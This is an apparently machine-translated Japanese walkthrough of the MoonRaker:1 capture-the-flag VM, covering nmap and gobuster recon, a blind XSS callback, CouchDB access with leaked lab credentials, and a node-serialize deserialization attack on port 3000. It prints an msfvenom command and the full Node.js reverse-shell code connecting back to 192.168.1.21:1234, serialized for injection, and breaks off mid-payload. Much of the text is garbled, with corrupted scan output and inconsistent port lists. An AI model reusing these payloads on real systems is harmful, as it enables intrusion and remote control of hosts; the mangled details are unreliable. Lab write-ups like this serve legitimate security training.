Jump to content

0x01 序文

Moonrakerシステムを攻撃し、最大の脅威の脆弱性を見つけ、最大の脅威の脆弱性を通じてターゲットマシンシステムを攻撃し、最大の脅威の脆弱性を通じてシステムのルートディレクトリのフラグ情報を取得します。

MoonRaker: 1ミラーダウンロードアドレス:

http://drive.google.com/open?id=13b2ewq5yqre2ubklxz58uhtlfk-shvma

0x02情報コレクション1。存続するホストルート@kali2018:/#arp -scan -lをスキャン

w0rb3gky11k8498.png

見つかった192.168.1.10は、ターゲットマシンシステムです

2。ポートスキャンNAMPスキャンターゲットマシンポート

root@kali2018:〜#nmap -p -a 192.168.1.10 -open

2019-02-11 16:21 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.10のNMAPスキャンレポート

ホストはアップ(0.00077Sレイテンシ)です。

表示されていません: 65529閉じたポート

ポートステートサービスバージョン

22/TCP Open SSHOPENSSH 7.4P1 Debian 10+Deb9U4(プロトコル2.0)

| ssh-hostkey:

| 2048 5F:BF:C03:3:5133604F:4A:A7:4A:7E:153:03:AA3333:D7:2A)

| 256 5:5933608733601E:A4336046:BD:A73360FD:9A:5F:F933:B7333:9DSE)

| _ 256 0D:883360D9:FA:AF:083:CE3:2B:133:6:A73:703:(ed eded

80/TCP Open HTTPAPACHE HTTPD 2.4.25((Debian))

| http-robots.txt: 1無効エントリ

| _/

| _http-server-header: apache/2.4.25(debian)

| _HTTP-TITLE: MOONRAKER

3000/TCP Open httpnode.js Expressフレームワーク

| http-auth:

| http/1.1 401不正\ x0d

| _ BASIC RELM=401

| _HTTP-TITLE:サイトにはタイトルがありません(text/html; charset=utf-8)。

4369/TCPオープンEpmderlangポートマッパーデーモン

| EPMD-INFO:

| EPMD_PORT: 4369

| nodes:

| _ couchdb: 33681

5984/TCP Open CouchDB?

|フィンガープリントストリングス:

| FOROHFORREQUEST:

| HTTP/1.0 404オブジェクトが見つかりません

| CACHE-CONTROL:必見の再評価

| Connection:閉じます

| Content-Length: 58

| Content-Type:アプリケーション/JSON

|日付:月、2019年2月11日21336022:55 GMT

| server: couchdb/2.2.0(erlang otp/19)

| X-Couch-Request-ID: BF092A958F

| x-couchdb-body-time: 0

| {'error':'not_found'、 '理由':'databaseは存在しません。'}

| getRequest:

| HTTP/1.0 200 OK

| CACHE-CONTROL:必見の再評価

| Connection:閉じます

| Content-Length: 164

| Content-Type:アプリケーション/JSON

|日付:月、2019年2月11日21336022:02 GMT

| server: couchdb/2.2.0(erlang otp/19)

| X-Couch-Request-ID: F038A56575

| x-couchdb-body-time: 0

| {'couchdb':'welcome'、 'version ':'2.2.0'、 'git_sha':'2a16ec4'、 'feature ': [' pluggedable-storage-engines '、' scheduler ']、' bendor'3360

| httpoptions:

| HTTP/1.0 500内部サーバーエラー

| CACHE-CONTROL:必見の再評価

| Connection:閉じます

| Content-Length: 61

| Content-Type:アプリケーション/JSON

|日付:月、2019年2月11日21336022:02 GMT

| server: couchdb/2.2.0(erlang otp/19)

| X-Couch-Request-ID: FDEB1A3860

| X-Couch-Stack-Hash: 1828508689

| x-couchdb-body-time: 0

| _ {'error':'unknown_error'、 '理由':'badarg'、 'ref':1828508689}

evjoqm4xzhp8499.png

NMAPスキャン出力は、オープンポートサービスを表示します:22(SSH)、80(HTTP)、110(POP3)、3000(node.js)、4369(epmd)、5984(couchdb)

3。ディレクトリスキャン。ディレクトリスキャンを実行するには、GobusterとDirbusterが好みます。ここでは、Gobusterを使用してターゲットディレクトリスキャンを実行します。

スキャンが完了した後、疑わしいディレクトリが /サービスであることがわかりました

pox35aibxl18500.png

このディレクトリhttp://192.168.1.10/services/services/のリンクアドレスを開くと、Webページの下部にiniriryを送信するハイパーリンクが表示され、ハイパーリンクを開きます。

r22blvqy4sd8501.png

リンクを開いた後、アフターセールスの連絡先情報ページが表示されます。誰かが提出した情報を照会し、5分以内に私たちに連絡することに注意してください。

f2rnsjsjlpi8502.png

ここでは、IMGタグを使用して、リモートサービスのWebサイトアドレスをネストします。 (他のパーティがネストされたXSSにアクセスする限り、リモートサーバーのログが記録され、リクエストログレコードにアクセスします)

txa5xg4bsmk8503.png

情報を送信する前に、Apacheサービスを開始し、/var/www/htmlディレクトリで新しいテストファイルtest.txtを作成し、コンテンツを書き込みます。

root@kali2018:〜#/etc/init.d/apache2 start

[OK] Apache2を開始(SystemCtl経由): Apache2.Service。

root@kali2018:〜#cd /var /www

root@kali2018:/var/www#ls

HTML

root@kali2018:/var/www#cd html/

root@kali2018:/var/www/html#ls

index.html index.nginx-debian.html

root@kali2018:/var/www/html#vi test.txt

root@kali2018:/var/www/html#

Apacheサーバーをテストして、正常にアクセスします

du0nbtnmvew8504.png

次に、apache2 Access.logを使用して、ターゲットマシンWebサイトのロギングを表示できます。 [送信]をクリックした後、次の図に示されているように、ありがとう提出メッセージを表示しました。

gk3llp3pfyr8505.png

コマンド経由でapacheアクセスログを表示します

Tail -f /var/log/apache2/access.log

ログ:http://192.168.1.10/svc-inq/salesmoon-gui.phpで興味深いHTTP参照アドレスを見つけることができます

2irukb3ce1o8506.png

0x03脆弱性1.CouchDB情報コレクションBrowserでHTTP参照リクエストアドレスを開きます

34vsdvgxzr58507.png

次に、「販売管理バックエンドに戻る」のハイパーリンクが表示され、クリックして販売バックエンド管理ログインページに入ります。

bi2kzcfan3j8508.png

次に、couchdbnotesをクリックして、ユーザー名のパスワードに関するいくつかのプロンプトを取得します。

ユーザー名:ジョーズ、パスワード:ジョーズガールフレンド名+ x99

cda541ij0kd8509.png

ここでは、ジョーズのガールフレンドをグーグルします

yurppcgyvk28510.png

FauxtonシステムのApache CouchDBのユーザー名とパスワードが取得されました。 FauxtonとCouchDBの詳細については、Googel(http://docs.couchdb.org/en/stable/fauxton/install.html)を介してそれらの使用方法を検索できます。

bnzmokuqfuh8511.png

2.CouchDBログインと情報漏れは、ポート5984が開いているためです。 CouchDBログインページ(192.168.1.10:5984/_utils/)を開くことができます。

ここでは、次のようにログイン資格情報を使用します。

username:jaws

Password:Dollyx99

4uknlkj2or28512.png

ve3djwydnzm8513.png

正常にログインして、これらの3つのデータベースで情報を表示しましょう。

リンクデータベースはより多くの情報を公開します

ttxgci515np8514.png

1folzggohdb8515.png

qtdwwf4hqt28516.png

4t0im1403am8517.png

各リンクデータベースのドキュメントをチェックしてください。それぞれにはディレクトリリンクが含まれているためですが、3番目のディレクトリリンクは次の侵入に有用な情報を提供する場合があります。

m53xfapkefh8518.png

zeujv0wpso18519.png

したがって、3番目のドキュメントへの接続を開き、有用な接続ディレクトリ情報を表示します。

したがって、上記のリンクには、開いた後の人事オフィスメモの情報が表示されます(複数の人の重要な電子メール情報はここに記録されています)

0nz42zfcs5y8520.png

ユーザー名とパスワードがメールでリークされていることがわかります

zzjhs4tc13z8521.png

3.Node.js降下解像度http://192.168.1.10/Raker-Sales/BackEnd Managementページを開き、「Hugoのページがポート3Kに移動した」ページが興味深いことを見つけます(上記の人事メモ記録ページのHugoメール情報と組み合わせて)

nii4wqzw44s8522.png

このリンクを開いた後、node.jsサーバーとアクセスに関する情報を見ることができます

5tjrpnkztlr8523.png

Hugo's HR Email http://192.168.1.10/hr-Confidential/offer-letters.htmlのユーザー名とパスワード

jqjqy3h5djc8524.png

node.jsにログインするためのユーザー名とパスワードを表示します(ポート3000経由でアクセス)

uwrxknxu5py8525.png

ログインした後、node.jsサーバーは「set-cookie」メッセージを送信します。

febf16dc.png

node.jsの崩壊脆弱性については、このリンクアドレスを参照してください。

4.脱力化の脆弱性はNMAPスキャンから出力されます。ポート3000はnode.jsフレームワークアプリケーションであることがわかります。したがって、ブラウザにターゲットIPの3000ポートアプリケーションを開き、ログインユーザーインターフェイスをポップアップします。

username:hugo

Password:TemplelaserSl2K

cs32n5zetfv8527.png

ログインに正常にログインした後、ページにメッセージが表示されます。このページは役に立たないようですが、次に何をすべきかを理解するために時間をかけた後、非常に興味深いものになります。

gut4nqe2dak8528.png

F12を開始して、ページのリクエスト情報を表示します。 CookieでBase64エンコード情報を見ました。ここでは、base64エンコーディングにnode.jsのスターリア化の脆弱性を挿入します。

03cexhl5mcb8529.png

MSFvenomを使用してNodeJSリバウンドシェルを生成します

msfvenom -p nodejs/shell_reverse_tcp lhost=192.168.1.21 lport=1234

ターミナルからrce.jsにmsfvenomを出力します

RCE.JS:

var rev={

rce: function(){var require=global.require || Global.process.mainmodule.constructor._load; if(!require)return; var cmd=(global.process.platform.match(/^win/i))? 'cmd' : '/bin/sh'; var net=require( 'net')、cp=require( 'child_process')、util=require( 'util')、sh=cp.spawn(cmd、[]); var client=this; var counter=0; function stagerrepeat(){client.socket=net.connect(1234、 '192.168.1.21'、function(){client.socket.pipe(sh.stdin); if(typeof util.pump==='undefined'){sh.stdout.pipe(client.socket); util.pump(sh.stdout、socket); socket.on( 'error'、function(error){counter ++; if(counter=10){setimeout(){stagerrepeat();}、5*1000);} else process.exit();}); } stagerrepeat(); }

};

var serialize=require( 'node-serialize');

console.log(serialize.serialize(rev));

ノードrce.jsを実行して、シリアル化された文字列出力を取得します。

root@kali2018:/opt#node rce.js

{'rce':' _ $$ nd_func $$ _ f

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...